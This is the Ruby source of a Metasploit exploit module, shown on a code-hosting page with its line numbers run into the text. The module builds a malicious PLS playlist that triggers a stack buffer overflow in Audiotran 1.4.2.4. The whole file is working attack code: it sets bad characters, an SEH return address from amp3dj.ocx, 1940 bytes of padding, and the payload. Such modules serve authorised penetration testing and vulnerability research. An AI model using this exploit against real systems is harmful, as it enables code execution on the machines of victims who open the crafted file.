Path: blob/master/modules/exploits/windows/fileformat/audiotran_pls_1424.rb
21627 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::FILEFORMAT9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Audiotran PLS File Stack Buffer Overflow',16'Description' => %q{17This module exploits a stack-based buffer overflow in Audiotran 1.4.2.4.18An attacker must send the file to victim and the victim must open the file.19Alternatively, it may be possible to execute code remotely via an embedded20PLS file within a browser when the PLS extension is registered to Audiotran.21This alternate vector has not been tested and cannot be exercised directly22with this module.23},24'License' => MSF_LICENSE,25'Author' => [26'Philip OKeefe',27],28'References' => [29[ 'EDB', '14961' ]30],31'Payload' => {32'Space' => 5000,33'BadChars' => "\x00\x0a\x0d\x3d",34'StackAdjustment' => -3500,35},36'Platform' => 'win',37'Targets' => [38[ 'Windows Universal', { 'Ret' => 0x1001cd67 } ], # p/p/r from amp3dj.ocx39],40'Privileged' => false,41'DisclosureDate' => '2010-09-09',42'DefaultTarget' => 0,43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)5051register_options(52[53OptString.new('FILENAME', [ true, 'The file name.', 'msf.pls']),54]55)56end5758def exploit59sploit = "[playlist]\r\nFile1="60sploit << rand_text_alpha_upper(1940)61sploit << generate_seh_payload(target.ret)62print_status("Creating '#{datastore['FILENAME']}' file ...")63file_create(sploit)64end65end666768